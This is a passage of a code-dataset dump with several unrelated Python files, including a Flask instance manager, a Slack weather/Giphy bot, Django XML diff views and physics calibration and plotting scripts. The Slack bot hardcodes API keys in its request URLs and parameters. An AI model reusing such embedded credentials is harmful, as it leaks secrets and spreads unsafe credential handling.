files\n\tf1.close()\n\tlogfile.close()\n\tseqfile.close()\n\t#trajfile.close()\n\t\n\n","sub_path":"txp_immport2cytoscape.py","file_name":"txp_immport2cytoscape.py","file_ext":"py","file_size_in_byte":6487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"322499111","text":"import json\r\nfrom datetime import datetime\r\nfrom random import getrandbits\r\n\r\nimport flask\r\nfrom flask import request\r\nfrom flask_restful import abort, Resource\r\n\r\nfrom controllers.helpers import has_available_resources\r\nfrom flask_app import db, app, IS_DEVELOPMENT\r\nfrom models.instance import instances_schema, Instance, get_or_create_instance, instance_schema\r\nfrom models.settings import get_settings\r\nfrom utils.kubernetes.instance import create_instance, delete_instance, namespace_exists, is_instance_available\r\nfrom utils.logging import log, log_tokenized\r\n\r\n\r\nclass InstanceListResource(Resource):\r\n def get(self):\r\n \"\"\"\r\n Returns a list of all instances running or not.\r\n \"\"\"\r\n instances = Instance.query.all()\r\n return instances_schema.dump(instances)\r\n\r\n def post(self):\r\n \"\"\"\r\n There are multiple request_types:\r\n * start - Which tries to start a new instance with all resources. (this can fail if there are no more re sources available)\r\n * stop - Stops a instance if running and cleans up the resources.\r\n * status - Returns the status for a instance, which includes a flag determining if it is available and one if it can be created.\r\n * keep_alive - Used by instances to notice the instance server that there was some user interaction on the instance.\r\n \"\"\"\r\n if 'token' not in request.json:\r\n abort(422, description=\"Requires token parameter.\")\r\n\r\n if 'request_type' not in request.json:\r\n abort(422, description=\"Requires request_type parameter.\")\r\n\r\n token = request.json['token']\r\n request_type = request.json['request_type']\r\n\r\n if request_type == \"start\":\r\n return handle_instance_start(token)\r\n elif request_type == \"stop\":\r\n return handle_instance_stop(token)\r\n elif request_type == \"status\":\r\n return handle_instance_status(token)\r\n elif request_type == \"keep_alive\":\r\n return handle_instance_renew(token)\r\n else:\r\n abort(422, description=\"Invalid request_type\")\r\n\r\n\r\ndef handle_instance_start(token):\r\n log_tokenized(token, \"Processing start request\")\r\n if has_available_resources():\r\n log_tokenized(token, \"There are available resources\")\r\n settings = get_settings()\r\n if IS_DEVELOPMENT or create_instance(token.lower(), settings.instance_image):\r\n log_tokenized(token, \"Created instance\")\r\n\r\n instance = get_or_create_instance(token.lower())\r\n\r\n instance.is_used = True\r\n instance.last_usage = datetime.utcnow()\r\n instance.updated_at = datetime.utcnow()\r\n db.session.commit()\r\n\r\n return instance_schema.dump(instance)\r\n else:\r\n log_tokenized(token, \"Failed to create instance\")\r\n abort(501, description=\"Internal server error.\")\r\n else:\r\n abort(409, description=\"To many instances running already.\")\r\n\r\n\r\ndef handle_instance_stop(token):\r\n log_tokenized(token, \"Processing stop request\")\r\n\r\n if IS_DEVELOPMENT or delete_instance(token.lower()):\r\n log_tokenized(token, \"Destroyed successfully\")\r\n instance = get_or_create_instance(token.lower())\r\n instance.is_used = False\r\n instance.updated_at = datetime.utcnow()\r\n db.session.commit()\r\n\r\n return instance_schema.dump(instance)\r\n else:\r\n log_tokenized(token, \"Failed to destroyed\")\r\n abort(501, description=\"Internal server error.\")\r\n\r\n\r\ndef handle_instance_status(token):\r\n log_tokenized(token, \"Processing status request\")\r\n\r\n instance = get_or_create_instance(token.lower())\r\n if IS_DEVELOPMENT:\r\n log_tokenized(token, \"Status request Development\")\r\n return app.make_response(\r\n {\"instance\": instance_schema.dump(instance), \"can_create\": bool(getrandbits(1)),\r\n \"is_available\": bool(getrandbits(1))}\r\n )\r\n else:\r\n resources_available = has_available_resources()\r\n can_create = resources_available and not namespace_exists(token.lower())\r\n is_available = is_instance_available(token.lower())\r\n log_tokenized(token, \"can_create=\" + str(can_create))\r\n response = flask.make_response(\r\n {\"instance\": instance_schema.dump(instance), \"can_create\": can_create, \"is_available\": is_available,\r\n \"has_available_resources\": resources_available})\r\n return response\r\n\r\n\r\ndef handle_instance_renew(token):\r\n log_tokenized(token, \"Processing keep_alive request\")\r\n instance = get_or_create_instance(token.lower())\r\n if instance.is_used:\r\n instance.last_usage = datetime.utcnow()\r\n instance.updated_at = datetime.utcnow()\r\n db.session.commit()\r\n\r\n return instance_schema.dump(instance)\r\n","sub_path":"instance_manager/controllers/instance.py","file_name":"instance.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"305640499","text":"\"\"\"\n Base code for Slackbot sourced from \n\n SCRIPT REQUIREMENTS\n Python\n slackclient API wrapper\n pytz module\n bot id (found from expot #create variable for this later)\n bot API (found from expot #create variable for this later)\n\"\"\"\nimport os\nimport time\nimport requests\nfrom datetime import datetime,tzinfo,timedelta\nfrom slackclient import SlackClient\n\n\n##################################################################\n#Current Time\n##################################################################\n#Class handles time conversion from UTC to CST\nclass Zone(tzinfo):\n def __init__(self,offset,isdst,name):\n self.offset = offset\n self.isdst = isdst\n self.name = name\n def utcoffset(self, dt):\n return timedelta(hours=self.offset) + self.dst(dt)\n def dst(self, dt):\n return timedelta(hours=1) if self.isdst else timedelta(0)\n def tzname(self,dt):\n return self.name\n\n#Update the first parameter during Daylight Savings\nCST = Zone(-5,False,'CST')\n\ncurrent_date_time = datetime.now(CST).strftime('%m/%d/%Y %H:%M')\n\n##################################################################\n#Current Weather\n##################################################################\n\n#Selma TX city ID = 4727785\n#For different city IDs, visit http://bulk.openweathermap.org/sample/\nweather_r = requests.get('http://api.openweathermap.org/data/2.5/weather?id=4727785&units=imperial&APPID=0cd3eb7242f017f9529514bde44103a5')\n#for full list, print r.json()\n\nweather_main = weather_r.json()['main']\nweather_current = \"*Temp:* \" + str(weather_main['temp'])[0:2]\nweather_max = \"*Max:* \" + str(weather_main['temp_max'])[0:2]\nweather_min = \"*Min:* \" + str(weather_main['temp_min'])[0:2]\n\n\n##################################################################\n# Giphy Search\n##################################################################\ngiphy = \"\"\ndef giphy_random(giphy_search_query):\n # Request\n # GET http://api.giphy.com/v1/gifs/search\n #http://api.giphy.com/v1/stickers/random?api_key=dc6zaTOxFJmzC&tag=oops\n #http://api.giphy.com/v1/gifs/search?q=funny+cat&api_key=dc6zaTOxFJmzC\n\n try:\n response = requests.get(\n url=\"http://api.giphy.com/v1/gifs/random\",\n params={\n \"api_key\": \"dc6zaTOxFJmzC\",\n \"limit\": \"1\",\n \"fmt\": \"json\",\n \"tag\": str(giphy_search_query),\n },\n )\n #print('Response HTTP Status Code: {status_code}'.format(\n # status_code=response.status_code))\n #print('Response HTTP Response Body: {content}'.format(\n # content=response.content))\n giphy_response_json = response.json()['data']\n global giphy\n giphy = giphy_response_json['fixed_height_downsampled_url']\n except requests.exceptions.RequestException:\n print('HTTP Request failed')\n\n##########################################################################################\n# Slackbot stuff I don't understand\n# Base code from https://www.fullstackpython.com/blog/build-first-slack-bot-python.htmlBOT\n# Eventually --- Use message buttons for coffee confirmation https://api.slack.com/docs/message-buttons \n##########################################################################################\n\n# starterbot's ID as an environment variable\nBOT_ID = os.environ.get(\"BOT_ID\")\n\n# constants\nAT_BOT = \"<@\" + BOT_ID + \">:\"\nEXAMPLE_COMMAND = \"do\"\nMORNING_COMMAND = \"good morning\"\n\n# instantiate Slack & Twilio clients\nslack_client = SlackClient(os.environ.get('SLACK_BOT_TOKEN'))\n\n\ndef handle_command(command, channel):\n \"\"\"\n Receives commands directed at the bot and determines if they\n are valid commands. If so, then acts on the commands. If not,\n returns back what it needs for clarification.\n \"\"\"\n giphy_random(\"error 404\")\n response = \"Uh oh, an error occurred!\" + \"\\n\" + giphy\n if command.startswith(EXAMPLE_COMMAND):\n response = \"Sure...write some more code then I can do that!\"\n if command.startswith(MORNING_COMMAND):\n response = \"Good morning & thank klevin, it is \" + current_date_time + \"\\n\" + \"Oh, and here's the current weather: \" + \"\\n\" + weather_current + \"\\n\" + weather_max + \"\\n\" + weather_min +\"\\n\"+\"\\n\"+\":rat:\"\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=response, as_user=True)\n\n\ndef parse_slack_output(slack_rtm_output):\n \"\"\"\n The Slack Real Time Messaging API is an events firehose.\n this parsing function returns None unless a message is\n directed at the Bot, based on its ID.\n \"\"\"\n output_list = slack_rtm_output\n if output_list and len(output_list) > 0:\n for output in output_list:\n if output and 'text' in output and AT_BOT in output['text']:\n # return text after the @ mention, whitespace removed\n return output['text'].split(AT_BOT)[1].strip().lower(), \\\n output['channel']\n return None, None\n\n\nif __name__ == \"__main__\":\n READ_WEBSOCKET_DELAY = 1 # 1 second delay between reading from firehose\n if slack_client.rtm_connect():\n print(\"StarterBot connected and running!\")\n while True:\n command, channel = parse_slack_output(slack_client.rtm_read())\n if command and channel:\n handle_command(command, channel)\n time.sleep(READ_WEBSOCKET_DELAY)\n else:\n print(\"Connection failed. Invalid Slack token or bot ID?\")\n","sub_path":"jarvis.py","file_name":"jarvis.py","file_ext":"py","file_size_in_byte":5556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"49478858","text":"from .PushableContainer import PushableContainer\n\nclass Queue(PushableContainer):\n\n def push(self, element):\n if (element is None):\n raise ValueError('Element must not be None')\n\n n = self.Node(element)\n\n if (self.tail is None):\n self.head = self.tail = n\n else:\n self.tail.next = n\n self.tail = n\n\n def __str__(self):\n string = ''\n n = self.head\n\n if (n is None):\n return string\n\n while (n is not None and n.next is not None):\n string += str(n.element) + ' '\n n = n.next\n\n string += str(n.element)\n return string\n","sub_path":"src/Queue.py","file_name":"Queue.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"141092919","text":"from django.shortcuts import render,get_object_or_404\nfrom xml_parse.models import xml_object,xml_object_2\nimport xml_parse.xml_compare_changed as XC\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils import simplejson\nfrom django.http import HttpResponse\nimport re\n\n\ndef all_xml_obj(request):\n\txml_all_obj_1=xml_object.objects.all()\n\txml_all_obj_2=xml_object_2.objects.all()\n\tsimiliar_list=[]\n\tdifference_list=[]\n\t#improve logic for different number of elements in both list \n\tfor i in range(len(xml_all_obj_1)):\n\t\tobj1=xml_all_obj_1[i]\n\t\tobj2_list=xml_all_obj_2.filter(object_name=obj1.object_name)\n\t\tfor k in obj2_list:\n\t\t\tobj2=k\n\t\tif str(obj1.xml)==str(obj2.xml):\n\t\t\tsimiliar_list.append({'object_name':obj1.object_name,'xml1':obj1.xml,'xml2':obj2.xml})\n\t\telse:\n\t\t\tdifference_list.append({'object_name':obj1.object_name,'xml1':obj1.xml,'xml2':obj2.xml})\n\t\t\n\treturn render(request,'all_xml_obj.html',{'similiar_list':similiar_list,'difference_list':difference_list})\n\t\ndef xml_obj(request,xml_id_1,xml_id_2):\n\txml_obj_1=get_object_or_404(xml_object,id=xml_id_1)\n\txml_obj_2=get_object_or_404(xml_object_2,id=xml_id_2)\n\treturn render(request,'xml_obj.html',{'xml_obj_1':xml_obj_1,'xml_obj_2':xml_obj_2})\n\ndef details_ob1(request,xml_id):\n\txml_obj=get_object_or_404(xml_object,id=xml_id)\n\treturn render(request,'details.html',{'xml':xml_obj})\n\ndef details_ob2(request,xml_id):\n\txml_obj=get_object_or_404(xml_object,id=xml_id)\n\treturn render(request,'details.html',{'xml':xml_obj})\n\t\ndef xml_diff(request,xml_id_1,xml_id_2):\n\txc_name,xc_diff=('','')\n\txml_obj_1=get_object_or_404(xml_object,id=xml_id_1)\n\txml_obj_2=get_object_or_404(xml_object_2,id=xml_id_2)\n\txc_name,xc_diff=XC.xml_diff(xml_obj_1.object_name,xml_obj_1.xml,xml_obj_2.xml)\n\t# print 'xml_diff'\n\t# print xc_name,xc_diff\n\t# print 'xml_diff'\n\treturn render(request,'xml_diff.html',{'xc_name':xc_name,'xc_diff':xc_diff})\n\ndef xml_copy(request,xml_id_1,xml_id_2):\n\txml_obj_1=get_object_or_404(xml_object,id=xml_id_1)\n\txml_obj_2=get_object_or_404(xml_object_2,id=xml_id_2)\n\txml_obj_2.xml=xml_obj_1.xml\n\txml_obj_2.save()\n\treturn render(request,'xml_copy.html',{'xml_obj_1':xml_obj_1,'xml_obj_2':xml_obj_2})\n \n\ndef ajax(request):\n\tif request.POST.has_key('client_object_1'):\n\t\txc_name=''\n\t\txc_diff=''\n\t\tobj_1_id=request.POST['client_object_1']\n\t\tobj_2_id=request.POST['client_object_2']\n\t\txml_obj_1=get_object_or_404(xml_object,id=obj_1_id)\n\t\txml_obj_2=get_object_or_404(xml_object_2,id=obj_2_id)\n\t\txc_name,xc_diff=XC.xml_diff(xml_obj_1.object_name,xml_obj_1.xml,xml_obj_2.xml)\n\t\t# print 'ajax'\n\t\t# print xc_name,xc_diff\n\t\t# print 'ajax'\n\t\txc_diff=xc_diff.replace('',' ')\n\t\txc_diff=xc_diff.replace('<','<')\n\t\txc_diff=xc_diff.replace('>','>')\n\t\txc_diff=xc_diff.replace('[1]-','')\n\t\txc_diff=xc_diff.replace('-[1]','')\n\t\txc_diff=xc_diff.replace('[2]-','')\n\t\txc_diff=xc_diff.replace('-[2]','')\n\t\txc_diff=xc_diff.replace('!br!','
')\n\t\t# print 'ajax_2'\n\t\t# print xc_name,xc_diff\n\t\t# print 'ajax_2'\n\t\tresponse_dict={}\n\t\tresponse_dict.update({'xc_name': xc_name })\n\t\tresponse_dict.update({'xc_diff': xc_diff })\n\t\treturn HttpResponse(simplejson.dumps(response_dict), mimetype='application/javascript')\n\telse:\n\t\treturn render_to_response('xml_obj.html', context_instance=RequestContext(request))","sub_path":"xml_parse/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"565407636","text":"\"\"\"\nTool to produce CAL DAC XML calibration data file from TXT files for each discriminator type\n\nmergeDacSlopes [-V] [-L ] [-doptionaldtd] \n\nwhere:\n -V = verbose; turn on debug output\n -L = save console output to log text file\n -d = specify path to optional dtd file\n = path to input lac slopes file\n = path to input fle slopes file\n = path to input fhe slopes file\n = path to input uld slopes file\n = output xml path\n\nINPUTS:\n\n\tLAC, FLE, FHE:\n Slopes are expressed in MeV/DAC unit.\n TXT file columns are space delimited, ';' in 1st character on line indicates comment\n All Cal component indexing uses GLAST offline software conventions (POS_FACE = 0, layers numberd 0-7 along LAT z axis in direction away from tracker.)\n TXT format is as follows:\n \"tower layer column face slope slope_error dac_range\"\n\n where for dac_range, 0 = FINE and 1 = COARSE\n\n ULD:\n Slopes are expressed in MeV/DAC unit.\n TXT file columns are space delimited, ';' in 1st character on line indicates comment\n All Cal component indexing uses GLAST offline software conventions (POS_FACE = 0, layers numberd 0-7 along LAT z axis in direction away from tracker.)\n TXT format is as follows:\n \"tower layer column face adc_range slope slope_error dac_range saturation_mev\"\n\n where for dac_range, 0 = FINE and 1 = COARSE\n\n\nOUTPUTS:\n\tone offline Cal dacSlopes XML file.\n\n\"\"\"\n\n\n__facility__ = \"Offline\"\n__abstract__ = \"Tool to produce CAL DAC XML calibration data file from TXT files for each discriminator type\"\n__author__ = \"Z. Fewtrell\"\n__date__ = \"$Date: 2008/04/21 14:36:57 $\"\n__version__ = \"$Revision: 1.1 $, $Author: fewtrell $\"\n__release__ = \"$Name: $\"\n__credits__ = \"NRL code 7650\"\n\ndef read_slopes_file(txt_path):\n \"\"\"\n Input:\n Read in dac slopes file w/ following format:\n All Cal component indexing uses GLAST offline software conventions (POS_FACE = 0, layers numberd 0-7 along LAT z axis in direction away from tracker.)\n TXT format is as follows:\n \"tower layer column face slope slope_error dac_range\"\n \n where for dac_range, 0 = FINE and 1 = COARSE\n\n Output:\n tuple(slopes, offsets, dac_rng, twrSet)\n where:\n slopes, offsets, dac_rng are numarray arrays of shape (16,8,2,12)\n twrSet - set of towers included in data set\n \n \"\"\"\n inFile = open(txt_path,'r')\n lines = inFile.readlines()\n \n import numarray\n slopeData = numarray.zeros((16,8,2,12), numarray.Float32)\n offsetData = numarray.zeros((16,8,2,12), numarray.Float32)\n rngData = numarray.zeros((16,8,2,12), numarray.Int8)\n twrSet = set()\n\n # loop over each line in code\n import calCalibXML\n import calConstant\n nLine = -1\n for line in lines:\n nLine+=1\n\n # skip comments\n if line[0] == ';':\n continue\n \n # read in values from current line\n [twr, offline_lyr, col, face, \n slope, offset, dac_rng] = line.split()\n\n\n # convert array index values to integer.\n twr = int(twr)\n offline_lyr = int(offline_lyr)\n col = int(col)\n face = int(face)\n slope = float(slope)\n offset = float(offset)\n dac_rng = int(dac_rng)\n\n # make sure current tower is on list\n twrSet.add(twr)\n\n # get online row indexing (as opposed to offline lyr indexing)\n online_row = calCalibXML.layerToRow(offline_lyr)\n # convert offline face numbering to online face numbering\n online_face = calConstant.offline_face_to_online[face]\n\n slopeData[twr][online_row][online_face][col] = slope\n offsetData[twr][online_row][online_face][col] = offset\n rngData[twr][online_row][online_face][col] = dac_rng\n\n return (slopeData, offsetData, rngData, twrSet)\n\ndef read_uld_slopes_file(txt_path):\n \"\"\"\n Input:\n Read in ULD dac slopes file w/ following format:\n All Cal component indexing uses GLAST offline software conventions (POS_FACE = 0, layers numberd 0-7 along LAT z axis in direction away from tracker.)\n TXT format is as follows:\n \"tower layer column face adc_rng slope slope_error dac_range\"\n \n where for dac_range, 0 = FINE and 1 = COARSE\n\n Output:\n tuple(slopes, offsets, dac_rng, saturation, twrSet)\n where:\n slopes, offsets, dac_rng, saturation are numarray arrays of shape (3,16,8,2,12)\n twrSet - set of towers included in data set\n \n \"\"\"\n inFile = open(txt_path,'r')\n lines = inFile.readlines()\n \n import numarray\n slopeData = numarray.zeros((3,16,8,2,12), numarray.Float32)\n offsetData = numarray.zeros((3,16,8,2,12), numarray.Float32)\n rngData = numarray.zeros((3,16,8,2,12), numarray.Int8)\n satData = numarray.zeros((3,16,8,2,12), numarray.Float32)\n twrSet = set()\n\n # loop over each line in code\n import calCalibXML\n import calConstant\n nLine = -1\n for line in lines:\n nLine+=1\n\n # skip comments\n if line[0] == ';':\n continue\n \n # read in values from current line\n [twr, offline_lyr, col, face, rng,\n slope, offset, dac_rng, saturation] = line.split()\n\n\n # convert array index values to integer.\n twr = int(twr)\n offline_lyr = int(offline_lyr)\n col = int(col)\n face = int(face)\n rng = int(rng)\n slope = float(slope)\n offset = float(offset)\n dac_rng = int(dac_rng)\n saturation = float(saturation)\n\n # make sure current tower is on list\n twrSet.add(twr)\n\n # get online row indexing (as opposed to offline lyr indexing)\n online_row = calCalibXML.layerToRow(offline_lyr)\n # convert offline face numbering to online face numbering\n online_face = calConstant.offline_face_to_online[face]\n\n slopeData[rng][twr][online_row][online_face][col] = slope\n offsetData[rng][twr][online_row][online_face][col] = offset\n rngData[rng][twr][online_row][online_face][col] = dac_rng\n satData[rng][twr][online_row][online_face][col] = saturation\n\n return (slopeData, offsetData, rngData, satData, twrSet)\n\nif __name__ == '__main__':\n # setup logger\n import logging\n\n logging.basicConfig()\n log = logging.getLogger('mergeDacSlopes')\n log.setLevel(logging.INFO) \n \n # get environment settings\n import os\n try:\n calibUtilRoot = os.environ['CALIBGENCALROOT']\n except KeyError:\n log.error('CALIBGENCALROOT must be defined')\n sys.exit(1)\n\n # check command line\n import getopt\n import sys\n try:\n opts = getopt.getopt(sys.argv[1:], \"-V-L:-d:\")\n except getopt.GetoptError:\n log.error(__doc__)\n sys.exit(1)\n\n optList = opts[0]\n dtdPath = os.environ['CALIBGENCALROOT'] + '/xml/calCalib_v2r3.dtd'\n for o in optList:\n if o[0] == '-V':\n log.setLevel(logging.DEBUG)\n elif o[0] == '-L':\n if os.path.exists(o[1]):\n log.warning('Deleting old log file %s', o[1])\n os.remove(o[1])\n hdl = logging.FileHandler(o[1])\n fmt = logging.Formatter('%(levelname)s %(message)s')\n hdl.setFormatter(fmt)\n log.addHandler(hdl)\n elif o[0] == '-d':\n dtdPath = o[1]\n else:\n log.error(\"Invalid command line switch %s\"%o)\n sys.exit(-1)\n \n args = opts[1]\n if len(args) != 5:\n log.error(__doc__)\n sys.exit(1)\n\n (lac_txt_path, fle_txt_path, fhe_txt_path, uld_txt_path, output_xml_path) = args\n\n (lac_slopes, lac_offsets, lac_rng, lacTwrSet) = read_slopes_file(lac_txt_path)\n (fle_slopes, fle_offsets, fle_rng, fleTwrSet) = read_slopes_file(fle_txt_path)\n (fhe_slopes, fhe_offsets, fhe_rng, fheTwrSet) = read_slopes_file(fhe_txt_path)\n (uld_slopes, uld_offsets, uld_rng, uld_saturation, uldTwrSet) = read_uld_slopes_file(uld_txt_path)\n\n # process only towers that have all data specified.\n twrSet = lacTwrSet & fleTwrSet & fheTwrSet & uldTwrSet\n log.info(\"Processing towers: %s\"% twrSet)\n \n # create empty output data arrays\n import numarray\n import calConstant\n dacDataOut = numarray.zeros((calConstant.NUM_TEM, calConstant.NUM_ROW, calConstant.NUM_END,\n calConstant.NUM_FE, 12), numarray.Float32)\n uldDataOut = numarray.zeros((3, calConstant.NUM_TEM, calConstant.NUM_ROW, calConstant.NUM_END,\n calConstant.NUM_FE, 6), numarray.Float32)\n rngDataOut = numarray.ones((calConstant.NUM_TEM, calConstant.NUM_ROW, calConstant.NUM_END,\n calConstant.NUM_FE, 6), numarray.Int8) \n\n # insert data into output array\n import calCalibXML\n dacDataOut[..., calCalibXML.calDacSlopesCalibXML.DACDATA_LACDAC_SLOPE] = lac_slopes\n dacDataOut[..., calCalibXML.calDacSlopesCalibXML.DACDATA_LACDAC_OFFSET] = lac_offsets\n dacDataOut[..., calCalibXML.calDacSlopesCalibXML.DACDATA_FLEDAC_SLOPE] = fle_slopes\n dacDataOut[..., calCalibXML.calDacSlopesCalibXML.DACDATA_FLEDAC_OFFSET] = fle_offsets\n dacDataOut[..., calCalibXML.calDacSlopesCalibXML.DACDATA_FHEDAC_SLOPE] = fhe_slopes\n dacDataOut[..., calCalibXML.calDacSlopesCalibXML.DACDATA_FHEDAC_OFFSET] = fhe_offsets\n\n uldDataOut[..., calCalibXML.calDacSlopesCalibXML.ULDDATA_SLOPE] = uld_slopes\n uldDataOut[..., calCalibXML.calDacSlopesCalibXML.ULDDATA_OFFSET] = uld_offsets\n uldDataOut[..., calCalibXML.calDacSlopesCalibXML.ULDDATA_SAT] = uld_saturation\n\n rngDataOut[..., calCalibXML.calDacSlopesCalibXML.RNGDATA_LACDAC] = lac_rng\n rngDataOut[..., calCalibXML.calDacSlopesCalibXML.RNGDATA_FLEDAC] = fle_rng\n rngDataOut[..., calCalibXML.calDacSlopesCalibXML.RNGDATA_FHEDAC] = fhe_rng\n rngDataOut[..., calCalibXML.calDacSlopesCalibXML.RNGDATA_ULDDAC_LEX8] = uld_rng[0,...]\n rngDataOut[..., calCalibXML.calDacSlopesCalibXML.RNGDATA_ULDDAC_LEX1] = uld_rng[1,...]\n rngDataOut[..., calCalibXML.calDacSlopesCalibXML.RNGDATA_ULDDAC_HEX8] = uld_rng[2,...]\n \n # create output file\n log.info(\"Creating file %s\", output_xml_path)\n fio = calCalibXML.calDacSlopesCalibXML(output_xml_path, calCalibXML.MODE_CREATE)\n\n # put parameters into comments\n doc = fio.getDoc()\n c = doc.createComment(\"LAC slopes file: %s\" % lac_txt_path)\n doc.appendChild(c)\n c = doc.createComment(\"FLE slopes file: %s\" % fle_txt_path)\n doc.appendChild(c)\n c = doc.createComment(\"FHE slopes file: %s\" % fhe_txt_path)\n doc.appendChild(c)\n c = doc.createComment(\"ULD slopes file: %s\" % uld_txt_path)\n doc.appendChild(c)\n\n fio.write(dacDataOut, uldDataOut, rngDataOut, list(twrSet))\n fio.close() \n \n # fixup calibration XML file - insert DTD info\n log.info(\"Inserting dtd file: %s\"%dtdPath)\n calCalibXML.insertDTD(output_xml_path, dtdPath) \n \n sys.exit(0)\n\n\n\n","sub_path":"python/mergeDacSlopes.py","file_name":"mergeDacSlopes.py","file_ext":"py","file_size_in_byte":11104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"487527550","text":"__author__ = 'yihen'\nfrom bootcamp.tribes.models import Tribe\n\n\ndef get_tribe_users(tag):\n tribe = Tribe.objects.filter(tag=tag).first()\n if tribe is not None:\n users = [int(user) for user in tribe.members.split(',')]\n return users\n else:\n return []\n","sub_path":"bootcamp/backend/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"369106960","text":"from nfib_functions import NBONACCI\nimport matplotlib.pyplot as plt\nimport numpy as np\n \ndef staff(label,ax,labelize_y = True,labelize_x = False):\n ax.set_xlim([1,100])\n if labelize_y:\n ax.set_ylabel(label)\n \n if labelize_x:\n ax.set_xlabel(label)\n\n ax.grid()\n #ax.legend()\n\ndef graph(indicator_range,elements,ax):\n ax.plot([0,101],[0,0],color = \"black\")\n ax.plot(indicator_range,elements,color = \"blue\")\n ax.scatter(indicator_range,elements,color = \"red\")\n\nindicator_range = (range(1,101))\nchange_of_step_indicator_range = indicator_range[:-1]\nfibonacci = NBONACCI(starters = [1,1],indicator_limit = 100)\ntribonacci = NBONACCI(starters = [1,1,2],indicator_limit = 100) \nfourbonacci = NBONACCI(starters = [1,1,2,3],indicator_limit = 100)\nfivebonacci = NBONACCI(starters = [1,1,2,3,5],indicator_limit = 100)\n\nfigure,((ax1,dx1),(ax2,dx2),(ax3,dx3),(ax4,dx4)) = plt.subplots(4,2,sharex = True)\n\n\n\n# Actual Graphs\ngraph(indicator_range,fibonacci.get_elements(),ax1)\ngraph(indicator_range,tribonacci.get_elements(),ax2)\ngraph(indicator_range,fourbonacci.get_elements(),ax3)\ngraph(indicator_range,fivebonacci.get_elements(),ax4)\n# Change Graphs\ngraph(change_of_step_indicator_range,fibonacci.get_change_of_step(),dx1)\ngraph(change_of_step_indicator_range,tribonacci.get_change_of_step(),dx2)\ngraph(change_of_step_indicator_range,fourbonacci.get_change_of_step(),dx3)\ngraph(change_of_step_indicator_range,fivebonacci.get_change_of_step(),dx4)\n\n\n\nstaff(\"Fibonacci\",ax1)\nstaff(\"Tribonacci\",ax2)\nstaff(\"Fourbonacci\",ax3)\nstaff(\"Fivebonacci\",ax4)\n\nstaff(\"Change of Step Fibonacci\",dx1,labelize_x = True,labelize_y = False)\nstaff(\"Change of Step Tribonacci\",dx2,labelize_x = True,labelize_y = False)\nstaff(\"Change of Step Fourbonacci\",dx3,labelize_x = True,labelize_y = False)\nstaff(\"Change of Step Fivebonacci\",dx4,labelize_x = True,labelize_y = False)\n\nplt.show()\n\nspace = np.linspace(0,np.pi*2,720)\narea = lambda radius : np.pi*(radius**2)\nradius_from_area = lambda area : np.sqrt(area/np.pi)\nratio_radius = lambda ratio : radius_from_area(area(1)*ratio)\narea_diffrence = lambda radius1,radius2 : np.abs(area(radius1)-area(radius2))\n\ncircle = lambda radius : ([radius*np.cos(x) for x in space],[radius*np.sin(x) for x in space])\n\n\"\"\"\nfor ratio in fibonacci.get_change_of_step()[1:]:\n fig,ax = plt.subplots()\n ratio_R = ratio_radius(ratio)\n std_circle = circle(1)\n ratio_circle = circle(ratio_R)\n\n xs = np.linspace(-ratio_R-0.1,ratio_R+0.1,201)\n ys = np.linspace(-ratio_R-0.1,ratio_R+0.1,201)\n\n xv,yv = np.meshgrid(xs,ys)\n r = xv**2 + yv**2\n ax.contourf(xv, yv, r, levels=[1,ratio_R**2], colors = [\"purple\"],alpha = 0.75)\n\n\n ax.plot(*std_circle,color = \"cyan\",lw = 1.8)\n ax.plot(*ratio_circle,color = \"blue\",lw = 1.8)\n plt.show()\n\n\n\"\"\"\nfrom matplotlib import animation\n\nclass Anim_Graph():\n def __init__(self,elements,interval = 250):\n self.elements = elements\n \n self.interval = interval\n\n self.fig,self.axes = plt.subplots()\n self.axes.set_xlim(-1.5,1.5)\n self.axes.set_ylim(-1.5,1.5)\n self.axes.plot(*circle(1))\n self.line, = self.axes.plot([],[],lw = 2.00)\n \n\n anim = animation.FuncAnimation(self.fig,self.animate,\n init_func = self.init,\n frames = len(self.elements),\n interval = self.interval,\n blit = True)\n\n plt.show()\n\n def init(self):\n self.line.set_data([],[])\n return self.line,\n \n def animate(self,frame_no):\n ratio = self.elements[frame_no]\n ratio_R = ratio_radius(ratio)\n ratio_circle= circle(ratio_R)\n\n self.line.set_data(*ratio_circle)\n return self.line,\n\n\nif __name__ == \"__main__\":\n Anim_Graph(elements = fibonacci.get_change_of_step(),interval = 75)\n\n","sub_path":"nfib/visualization_nfib.py","file_name":"visualization_nfib.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"509493992","text":"import os\nimport FreeCAD\nimport FreeCADGui\nimport Part\nimport dummy\nimport curveOnSurface\nimport CoinNodes\nfrom pivy import coin\nfrom FreeCAD import Base\n\npath_curvesWB = os.path.dirname(dummy.__file__)\npath_curvesWB_icons = os.path.join( path_curvesWB, 'Resources', 'icons')\n\nDEBUG = 1\n\ndef debug(string):\n if DEBUG:\n FreeCAD.Console.PrintMessage(string)\n FreeCAD.Console.PrintMessage(\"\\n\")\n\n\nclass cosFP:\n \"joins the selected edges into a single BSpline Curve\"\n def __init__(self, obj):\n ''' Add the properties '''\n obj.addProperty(\"App::PropertyLinkSub\", \"InputEdge\", \"CurveOnSurface\", \"Input edge\")\n obj.addProperty(\"App::PropertyLinkSub\", \"Face\", \"CurveOnSurface\", \"Support face\")\n #obj.addProperty(\"App::PropertyFloat\", \"Tolerance\", \"CurveOnSurface\", \"Tolerance\").Tolerance=0.001\n obj.addProperty(\"App::PropertyBool\", \"ReverseTangent\", \"CurveOnSurface\", \"Reverse tangent\").ReverseTangent = False\n 